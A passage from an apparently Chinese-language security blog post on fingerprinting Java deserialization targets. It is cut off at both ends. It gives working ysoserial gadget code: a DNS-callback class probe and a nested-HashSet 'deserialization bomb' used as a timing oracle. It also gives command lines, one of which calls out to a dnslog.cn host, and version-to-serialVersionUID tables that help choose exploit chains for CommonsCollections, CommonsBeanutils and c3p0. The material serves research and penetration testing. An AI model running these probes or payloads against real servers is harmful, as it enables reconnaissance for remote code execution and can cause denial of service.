26px;">(<span style="color: #c678dd;line-height: 26px;">final</span> String command)</span> <span style="color: #c678dd;line-height: 26px;">throws</span> Exception </span>{<br/>            String[] cmds = command.split(<span style="color: #98c379;line-height: 26px;">&#34;\\|&#34;</span>);<br/>            <span style="color: #c678dd;line-height: 26px;">if</span>(cmds.length != <span style="color: #d19a66;line-height: 26px;">2</span>){<br/>                System.out.println(<span style="color: #98c379;line-height: 26px;">&#34;&lt;url&gt;|&lt;class name&gt;&#34;</span>);<br/>                <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">null</span>;<br/>            }<br/>            String url = cmds[<span style="color: #d19a66;line-height: 26px;">0</span>];<br/>            String clazzName = cmds[<span style="color: #d19a66;line-height: 26px;">1</span>];<br/>            URLStreamHandler handler = <span style="color: #c678dd;line-height: 26px;">new</span> SilentURLStreamHandler();<br/>            HashMap ht = <span style="color: #c678dd;line-height: 26px;">new</span> HashMap();<br/>            URL u = <span style="color: #c678dd;line-height: 26px;">new</span> URL(<span style="color: #c678dd;line-height: 26px;">null</span>, url, handler);<br/>            <span style="color: #5c6370;font-style: italic;line-height: 26px;">// 以URL对象为key，以探测Class为value</span><br/>            ht.put(u, makeClass(clazzName));<br/>            Reflections.setFieldValue(u, <span style="color: #98c379;line-height: 26px;">&#34;hashCode&#34;</span>, -<span style="color: #d19a66;line-height: 26px;">1</span>);<br/>            <span style="color: #c678dd;line-height: 26px;">return</span> ht;<br/>        }<br/>}</code></pre></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVDnYfPHXmcQYKUZrghNt60Cl2Oxf5Hz18tvVsvJdJMmrwiaRc20wicTSa5hArx7BQQFbxVZcTQOe0z/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">java -jar ysoserial-for-woodpecker.jar -g FindClassByDNS -a <span style="color: #98c379;line-height: 26px;">&#34;<a href="http://oc.mfpy4t.dnslog.cn|org.apache.commons.collections.map.LazyMap" target="_blank">http://oc.mfpy4t.dnslog.cn|org.apache.commons.collections.map.LazyMap</a></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.42734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=989acc60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc7olR3LetxCPzmqC82ibKyD0jv2x8AzeTcYZzL5ZbJOLu8oCVNoGMBqh9JvKIeluQTpXPSZ7fVPsQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;letter-spacing: 1px;"> 0x05 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;">通过反序列化炸弹探测class</span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;"><br/></span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;"><br/></span></strong></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">有些环境可能没有配置DNS服务，这个时候就无法使用上面的gadget来探测。为了应对这个场景，我第一时间想到的就是改造</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">JRMPClient</span><span style="font-size: 14px;letter-spacing: 1px;">。但是看了下调用链中的class没有Object类型的属性，没法断链。于是只能去挖掘新gadget，后面大约花了一周时间也没有成果。加之有其他事情，构造的事就搁浅了一段时间。直到无意间拜读</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">@fnmsd</span><span style="font-size: 14px;letter-spacing: 1px;">师父的文章,看到了</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">@Joshua Bloch</span><span style="font-size: 14px;letter-spacing: 1px;">的《effective java》，瞬间来了灵感。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">里面给出了一个反序列化炸弹的技巧，<strong>通过构造特殊的多层嵌套HashSet，导致服务器反序列化的时间复杂度提升，消耗服务器所有性能，导致拒绝服务。在这个基础上，我选择消耗部分性能达到间接延时的作用，来探测class。</strong></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.3850415512465375" data-s="300,640" style="" data-type="png" data-w="361" src="https://wechat2rss.xlab.app/img-proxy/?k=42fe4efb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc7olR3LetxCPzmqC82ibKyDwxlAeYLr8anI81ayqmoic331lkGuemccyiaKV7wiaIicAibhYXlYNOgf2Aw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"></span><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVDnYfPHXmcQYKUZrghNt60Cl2Oxf5Hz18tvVsvJdJMmrwiaRc20wicTSa5hArx7BQQFbxVZcTQOe0z/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">@Authors</span>({ Authors.C0NY1 })<br/><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">FindClassByBomb</span> <span style="color: #c678dd;line-height: 26px;">extends</span> <span style="color: #e6c07b;line-height: 26px;">PayloadRunner</span> <span style="color: #c678dd;line-height: 26px;">implements</span> <span style="color: #e6c07b;line-height: 26px;">ObjectPayload</span>&lt;<span style="color: #e6c07b;line-height: 26px;">Object</span>&gt; </span>{<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> Object <span style="color: #61aeee;line-height: 26px;">getObject</span> <span style="line-height: 26px;">( <span style="color: #c678dd;line-height: 26px;">final</span> String command )</span> <span style="color: #c678dd;line-height: 26px;">throws</span> Exception </span>{<br/>        <span style="color: #c678dd;line-height: 26px;">int</span> depth;<br/>        String className = <span style="color: #c678dd;line-height: 26px;">null</span>;<br/>        <span style="color: #c678dd;line-height: 26px;">if</span>(command.contains(<span style="color: #98c379;line-height: 26px;">&#34;|&#34;</span>)){<br/>            String[] x = command.split(<span style="color: #98c379;line-height: 26px;">&#34;\\|&#34;</span>);<br/>            className = x[<span style="color: #d19a66;line-height: 26px;">0</span>];<br/>            depth = Integer.valueOf(x[<span style="color: #d19a66;line-height: 26px;">1</span>]);<br/>        }<span style="color: #c678dd;line-height: 26px;">else</span>{<br/>            className = command;<br/>            depth = <span style="color: #d19a66;line-height: 26px;">28</span>;<br/>        }<br/>        Class findClazz = makeClass(className);<br/>        Set&lt;Object&gt; root = <span style="color: #c678dd;line-height: 26px;">new</span> HashSet&lt;Object&gt;();<br/>        Set&lt;Object&gt; s1 = root;<br/>        Set&lt;Object&gt; s2 = <span style="color: #c678dd;line-height: 26px;">new</span> HashSet&lt;Object&gt;();<br/>        <span style="color: #c678dd;line-height: 26px;">for</span> (<span style="color: #c678dd;line-height: 26px;">int</span> i = <span style="color: #d19a66;line-height: 26px;">0</span>; i &lt; depth; i++) {<br/>            Set&lt;Object&gt; t1 = <span style="color: #c678dd;line-height: 26px;">new</span> HashSet&lt;Object&gt;();<br/>            Set&lt;Object&gt; t2 = <span style="color: #c678dd;line-height: 26px;">new</span> HashSet&lt;Object&gt;();<br/>            t1.add(findClazz);<br/>            s1.add(t1);<br/>            s1.add(t2);<br/>            s2.add(t1);<br/>            s2.add(t2);<br/>            s1 = t1;<br/>            s2 = t2;<br/>        }<br/>        <span style="color: #c678dd;line-height: 26px;">return</span> root;<br/>    }<br/>} </code></pre></section><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">由于每个服务器的性能不一样，要想让它们延时时间相同，就需要调整反序列化炸弹的深度。所以在使用该gadget时，要先测试出深度，一般最好调整到比正常请求慢10秒以上。经过我的实战一般这个深度都在</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">25</span><span style="font-size: 14px;letter-spacing: 1px;">到</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">28</span><span style="font-size: 14px;letter-spacing: 1px;">之间，切记不要设置太大否则造成DOS。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">我们来看下效果。InvokerTransformer类存在，延时25s。</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVDnYfPHXmcQYKUZrghNt60Cl2Oxf5Hz18tvVsvJdJMmrwiaRc20wicTSa5hArx7BQQFbxVZcTQOe0z/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"> java -jar ysoserial-for-woodpecker.jar -g FindClassByBomb -a <span style="color: #98c379;line-height: 26px;">&#34;org.apache.commons.collections.functors.InvokerTransformer|28&#34;</span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.45078125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c0fda923&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc7olR3LetxCPzmqC82ibKyD2xKuYT2qAbmRSrS68R3I95t75nyYjWOf45w52ud93lL3B4tdQ39Jwg%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">InvokerTransformer666类不存在，不延时。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.45078125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=87f4efc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPc7olR3LetxCPzmqC82ibKyDGBlZ5RUdq9oHUiaJYnvMgzFzc2vgHZfY9cHiciaxXW3uOJvtLaxj5aUsg%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 1px;font-size: 18px;"> 0x06 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">配合class checklist食用</span></strong></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">要想在实战中使用，我们就需要事先去制作一份class的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">checklist</span><span style="font-size: 14px;letter-spacing: 1px;">备用。下面我通过diff maven中央仓库的统计的结果。最新的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">checklist</span><span style="font-size: 14px;letter-spacing: 1px;">和</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">gadget</span><span style="font-size: 14px;letter-spacing: 1px;">都更新到</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">ysoserial-for-woodpecker</span><span style="font-size: 14px;letter-spacing: 1px;">项目。</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="letter-spacing: 1px;font-size: 16px;"><strong>6.1 CommonsCollections</strong></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">必须存在类：org.apache.commons.collections.functors.ChainedTransformer</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><section data-tool="mdnice编辑器" style="overflow-x: auto;"><table><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">版本范围</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">漏洞版本</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">判断类</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">suid冲突</th></tr></thead><tbody style="border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">&gt;= 3.1 or = 20040616</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">org.apache.commons.collections.list.TreeList</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">是</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">无</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">&gt;= 3.2.2</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">org.apache.commons.collections.functors.FunctorUtils$1</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">否</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;word-break: break-all;">无</td></tr></tbody></table></section></section><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="letter-spacing: 1px;font-size: 16px;"><strong>6.2 CommonsCollections4</strong></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">必须存在类：org.apache.commons.collections4.comparators.TransformingComparator</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><section data-tool="mdnice编辑器" style="overflow-x: auto;"><table><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">版本范围</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">漏洞版本</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">判断类</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">suid冲突</th></tr></thead><tbody style="border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">&gt;= 4.1</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">否</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">存在org.apache.commons.collections4.FluentIterable</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">无</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">4.0</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">否</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">不存在org.apache.commons.collections4.FluentIterable</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;word-break: break-all;">无</td></tr></tbody></table></section></section><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><strong><span style="letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;">6.3 CommonsBeanutils</span></strong></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">必须存在类：org.apache.commons.beanutils.BeanComparator</span></p><p style="line-height: 1.5em;"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><section data-tool="mdnice编辑器" style="overflow-x: auto;"><table><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">版本范围</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">漏洞版本</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">判断类</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">suid冲突</th></tr></thead><tbody style="border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">&gt;= 1.9.0</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">是</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">存在org.apache.commons.beanutils.BeanIntrospector</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;word-break: break-all;">-2044202215314119608</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">1.7.0 &lt;=  &lt;= 1.8.3</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">是</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">存在org.apache.commons.collections.Buffer</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;word-break: break-all;">-3490850999041592962</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">&gt;= 1.6 or = 20030211.134440</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;word-break: break-all;">是</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">存在org.apache.commons.beanutils.ConstructorUtils</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;word-break: break-all;">2573799559215537819</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">&gt;= 1.5 or 20021128.082114 &gt; 1.4.1</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">是</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">存在org.apache.commons.beanutils.BeanComparator</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;word-break: break-all;">5123381023979609048</td></tr></tbody></table></section></section><p style="line-height: 1.5em;"><span style="letter-spacing: 1px;font-size: 16px;"><strong>6.4 c3p0</strong></span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">必须存在：</span><span style="font-size: 14px;letter-spacing: 1px;">org.apache.commons.beanutils.BeanComparator</span></p><p style="line-height: 1.5em;"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><section data-tool="mdnice编辑器" style="overflow-x: auto;"><table><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">版本范围</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">漏洞版本</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">判断类</th><th style="border-top-width: 1px;border-color: rgb(204, 204, 204);background-color: rgb(240, 240, 240);min-width: 85px;text-align: center;">suid冲突</th></tr></thead><tbody style="border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">0.9.5-pre9 ～ 0.9.5.5</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">是</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">存在com.mchange.v2.c3p0.test.AlwaysFailDataSource</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;word-break: break-all;"> -2440162180985815128</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">0.9.2-pre2-RELEASE ~ 0.9.5-pre8</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">是</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;">不存在com.mchange.v2.c3p0.test.AlwaysFailDataSource</td><td style="border-color: rgb(204, 204, 204);min-width: 85px;text-align: center;word-break: break-all;"> 7387108436934414104</td></tr></tbody></table></section></section><p style="line-height: 1.5em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">以c3p0为例子，我们判断的步骤应该是</span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">1. 第一步判断</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase</span><span style="font-size: 14px;letter-spacing: 1px;">是否存在，若存在C3P0可用</span></p><p style="line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;">2. 第二步判断</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">com.mchange.v2.c3p0.test.AlwaysFailDataSource</span><span style="font-size: 14px;letter-spacing: 1px;">是否存在，存在说明是高版本，suid切换</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">-2440162180985815128</span><span style="font-size: 14px;letter-spacing: 1px;">。否则切换</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">7387108436934414104</span><span style="font-size: 14px;letter-spacing: 1px;"> </span></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 1px;font-size: 18px;"> 0x07 </span></strong></span></p><p style="line-height: 1.5em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">最后的思考</span></strong></p><p style="line-height: 1.5em;"><br/></p><p style="line-height: 1.5em;"><br/></p><p 